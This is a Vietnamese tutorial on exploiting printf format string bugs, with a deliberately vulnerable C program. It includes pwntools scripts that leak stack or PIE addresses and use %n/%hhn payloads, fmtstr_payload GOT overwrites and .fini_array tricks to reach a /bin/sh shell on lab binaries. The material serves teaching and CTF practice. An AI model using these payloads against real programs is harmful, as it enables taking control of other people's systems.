Khái Niệm Về Chuỗi Định Dạng
Trong các hàm API xuất dữ liệu của C/C++ như printf(), chuỗi định dạng (format string) đóng vai trò xác định cách thức và vị trí của các tham số cần in ra. Các ký tự đặc biệt bắt đầu bằng % được gọi là đặc tả chuyển đổi, dùng để ánh xạ các đối số tiếp theo thành định dạng tương ứng. Các ký tự thông thường khác sẽ được in nguyên bản ra thiết bị đầu ra chuẩn.
Khi printf() thực thi, nó sẽ duyệt qua chuỗi định dạng. Nếu gặp ký tự %, hàm sẽ lấy tham số tiếp theo từ stack (hoặc thanh ghi tùy thuộc vào kiến trúc) để xử lý. Nếu không có tham số tương ứng được truyền vào, printf() vẫn sẽ đọc dữ liệu từ bộ nhớ, dẫn đến việc rò rỉ thông tin hoặc lỗi truy cập bộ nhớ.
Cấu Trúc Của Đặc Tả Định Dạng
Một đặc tả định dạng có dạng tổng quát: %[parameter][flags][width][.precision][length]type
- parameter: Xác định vị trí tham số, ví dụ
2$để lấy tham số thứ 2. - flags: Các tùy chọn căn chỉnh như
-,+,0,#. - width: Độ rộng tối thiểu của trường xuất ra.
- precision: Độ chính xác hoặc độ dài tối đa.
- length: Kích thước của tham số (
hhcho 1 byte,hcho 2 byte,lcho 4 byte,llcho 8 byte). - type: Kiểu dữ liệu đầu ra. Một số loại quan trọng bao gồm:
x/X: Số nguyên không dấu hệ thập lục phân.s: Chuỗi ký tự kết thúc bằng NULL.p: Địa chỉ con trỏ (void*).n: Không in bất kỳ ký tự nào, thay vào đó ghi số lượng ký tự đã in thành công vào địa chỉ con trỏ được truyền vào. Đây là chìa khóa cho các kỹ thuật ghi đè bộ nhớ.
Cơ Chế Hoạt Động Của Lỗ Hổng
Lỗ hổng chuỗi định dạng chủ yếu khai thác việc hàm printf() không kiểm tra tính nhất quán giữa chuỗi định dạng và số lượng tham số thực tế. Nếu một chương trình gọi printf(user_input) thay vì printf("%s", user_input), kẻ tấn công có thể cung cấp các ký tự %p để làm rò rỉ dữ liệu trên stack, hoặc dùng %n để ghi đè lên các địa chỉ bộ nhớ tùy ý.
Trên kiến trúc 32-bit (x86), tất cả tham số đều được đẩy lên stack. Trên kiến trúc 64-bit (x64), 6 tham số đầu tiên được truyền qua thanh ghi (RDI, RSI, RDX, RCX, R8, R9), và các tham số từ thứ 7 trở đi mới nằm trên stack.
Trường Hợp 1: Chuỗi Định Dạng Nằm Trên Stack
Xét đoạn mã C sau, nơi dữ liệu đầu vào của người dùng được lưu trong một buffer cục bộ trên stack và in trực tiếp qua printf():
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int target_var;
void setup_io() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
}
void vulnerable_function() {
char user_buf[64];
int secret_val = 0;
while(1) {
printf("Enter data: ");
read(0, user_buf, sizeof(user_buf));
printf(user_buf); // Lỗi chuỗi định dạng
if(secret_val == 0x5A) {
system("/bin/sh");
}
}
}
int main() {
setup_io();
vulnerable_function();
return 0;
}
Chương trình được biên dịch với PIE và Stack Canary. Mục tiêu là thay đổi giá trị của secret_val thành 0x5A (90 trong hệ thập phân). Vì secret_val nằm ở địa chỉ thấp hơn user_buf trên stack, ta không thể dùng tràn bộ đệm thông thường. Tuy nhiên, ta có thể dùng %n để ghi đè.
Khai Thác Trên Kiến Trúc 64-bit
Đầu tiên, ta cần rò rỉ địa chỉ stack để tính toán vị trí chính xác của secret_val. Sử dụng %12$p để đọc một giá trị RBP, sau đó tính offset.
Sau khi có địa chỉ, ta sử dụng định dạng %90c%10$hhn để ghi giá trị 90 vào secret_val. Lưu ý rằng trong kiến trúc 64-bit, các ký tự \x00 ở cuối địa chỉ có thể cắt ngang chuỗi. Do đó, địa chỉ mục tiêu cần được đặt ở cuối payload.
from pwn import *
context(arch='amd64', os='linux', log_level='error')
exe = ELF('./vuln_64')
p = process(exe.path)
# Rò rỉ địa chỉ RBP
p.recvuntil(b"Enter data: ")
p.sendline(b'%12$p')
leaked_rbp = int(p.recvline().strip(), 16)
# Tính toán địa chỉ của secret_val (dựa vào phân tích GDB, offset là -0x48)
secret_addr = leaked_rbp - 0x48
# Xây dựng payload: In 90 ký tự, sau đó ghi 1 byte vào tham số thứ 10
# Thêm padding 'aaaa' để căn chỉnh địa chỉ trên stack
payload = b'%90c%10$hhnaaaa' + p64(secret_addr)
p.recvuntil(b"Enter data: ")
p.sendline(payload)
p.interactive()
Khai Thác Trên Kiến Trúc 32-bit
Đối với x86, địa chỉ không chứa byte \x00 ở phần cao, nên ta có thể đặt địa chỉ mục tiêu ở ngay đầu payload. Offset của các tham số cũng bắt đầu từ 1 thay vì 6.
from pwn import *
context(arch='i386', os='linux', log_level='error')
exe = ELF('./vuln_32')
p = process(exe.path)
p.recvuntil(b"Enter data: ")
p.sendline(b'%14$p')
leaked_ebp = int(p.recvline().strip(), 16)
secret_addr = leaked_ebp - 0x1c
# 4 byte địa chỉ + 86 ký tự padding = 90 ký tự
payload = p32(secret_addr) + b'%86c%7$hhn'
p.recvuntil(b"Enter data: ")
p.sendline(payload)
p.interactive()
Trường Hợp 2: Ghi Đè Bảng GOT Khi Chuỗi Định Dạng Trên Stack
Nếu không có biến mục tiêu rõ ràng, ta có thể chuyển hướng luồng thực thi bằng cách sửa đổi Global Offset Table (GOT). Chiến thuật phổ biến là ghi đè địa chỉ của printf thành system. Khi vòng lặp gọi printf("/bin/sh"), nó sẽ thực thi system("/bin/sh").
Công cụ pwntools cung cấp hàm fmtstr_payload để tự động hóa việc tạo payload phức tạp này. Hàm này chia nhỏ việc ghi đè thành nhiều bước (dùng %hhn) để tránh lỗi Segmentation Fault do in quá nhiều ký tự cùng lúc.
from pwn import *
context(arch='amd64', os='linux')
p = process('./got_overwrite')
elf = ELF('./got_overwrite')
# Rò rỉ địa chỉ hàm main để tính PIE base
p.sendline(b'%41$p')
main_leak = int(p.recvline().strip(), 16)
elf.address = main_leak - elf.symbols['main'] - 0x1c
# Tính toán địa chỉ GOT của printf và system
printf_got = elf.got['printf']
system_addr = elf.symbols['system'] # Giả sử system có sẵn
# Tạo payload tự động với offset tham số là 6
payload = fmtstr_payload(6, {printf_got: system_addr})
p.sendline(payload)
# Vòng lặp tiếp theo sẽ gọi system
p.sendline(b'/bin/sh')
p.interactive()
Trường Hợp 3: Chuỗi Định Dạng Nằm Ở BSS Hoặc Heap
Khi buffer nhập liệu nằm ở segment BSS (biến toàn cục) hoặc heap, ta không thể trực tiếp chèn địa chỉ mục tiêu vào cùng payload để %n trỏ tới, vì printf chỉ đọc các con trỏ từ stack.
Kỹ Thuật Ghi Đè Từng Phần (Partial Overwrite)
Trong trường hợp này, ta cần tìm các con trỏ có sẵn trên stack (ví dụ: các con trỏ RBP cũ của các hàm gọi nhau). Bằng cách sửa đổi 2 byte thấp nhất (sử dụng %hn) của các con trỏ này, ta có thể lái chúng trỏ đến các phần khác nhau của mục tiêu (ví dụ: các phần của địa chỉ GOT).
Quy trình:
- Rò rỉ địa chỉ base của file thực thi và libc.
- Tìm một chuỗi con trỏ liên tiếp trên stack (ví dụ:
A -> B -> C). - Dùng
%hnsửa byte thấp củaBđểBtrỏ tớiC. - Dùng
%hnthông quaCđể sửa byte thấp của địa chỉ GOT. - Lặp lại để ghi đè toàn bộ địa chỉ
systemvào GOT củaprintf.
Kỹ Thuật Chuỗi Con Trỏ Liên Hoàn (Byte-by-Byte Write)
Nếu chế độ Full RELRO được bật, bảng GOT không thể bị sửa đổi. Ta buộc phải ghi đè địa chỉ trả về (Return Address) trên stack để xây dựng ROP chain. Do địa chỉ stack bị ASLR làm ngẫu nhiên hóa, ta có thể dùng một cấu trúc A -> B -> C -> Target.
Bằng cách liên tục cộng dồn byte thấp nhất của C và dùng %hhn ghi đè qua B, ta có thể duyệt qua từng byte của địa chỉ trả về để ghi đè giá trị ROP gadget. Kỹ thuật này đòi hỏi nhiều lần gọi printf và cẩn thận với việc tràn byte (carry).
# Mô phỏng thuật toán ghi đè từng byte
def write_byte(offset_ptr, offset_val, current_val, target_byte):
diff = (target_byte - current_val) & 0xff
if diff == 0:
pay = f"%{offset_val}$hhn".encode()
else:
pay = f"%{diff}c%{offset_val}$hhn".encode()
p.sendline(pay)
return target_byte
Các Kỹ Thuật Nâng Cao Khác
Sử Dụng Dấu Sao (*) Trong Định Dạng
Ký tự * trong %*c cho phép lấy độ rộng từ một tham số trên stack. Điều này hữu ích khi ta cần in ra một số lượng ký tự chính xác bằng với một giá trị đã có sẵn trên stack mà không cần tốn payload dài.
Ví dụ: Payload %*10$c%8$hn sẽ lấy giá trị tại tham số thứ 10 làm số lần in ký tự, sau đó ghi số lượng đó vào địa chỉ trỏ bởi tham số thứ 8.
Khai Thác Khi Chỉ Có Một Lần Gọi Printf
Nếu chương trình chỉ gọi printf() một lần rồi thoát, ta không thể thực hiện kiểu tấn công "rò rỉ rồi ghi đè" thông thường. Lúc này, ta có thể nhắm vào mảng .fini_array.
.fini_array chứa các con trỏ hàm sẽ được gọi khi chương trình thoát (hàm exit()). Nếu ta dùng lần gọi printf() duy nhất để sửa đổi .fini_array, trỏ nó về hàm main(), chương trình sẽ khởi động lại. Đồng thời, ta có thể kết hợp sửa đổi GOT của printf thành system trong cùng một payload.
Lần thực thi thứ hai, khi chương trình gọi lại printf() (lúc này đã là system), ta chỉ cần gửi chuỗi /bin/sh là chiếm được quyền điều khiển.
from pwn import *
context(arch='amd64', os='linux')
p = process('./one_shot')
elf = ELF('./one_shot')
fini_array_addr = elf.address + 0x3000 # Địa chỉ giả định
main_addr = elf.symbols['main']
printf_got = elf.got['printf']
system_plt = elf.plt['system']
# Ghi đè đồng thời 2 địa chỉ trong 1 payload
payload = fmtstr_payload(6, {
fini_array_addr: main_addr,
printf_got: system_plt
})
p.sendline(payload)
# Lần chạy thứ 2
p.sendline(b'/bin/sh')
p.interactive()
Trong trường hợp không có sẵn hàm system và RELRO bị tắt, ta có thể rò rỉ libc base trong lần chạy đầu tiên, đồng thời trỏ .fini_array về main. Ở lần chạy thứ hai, dùng payload mới để xây dựng ROP chain gọi one-gadget trực tiếp trên stack.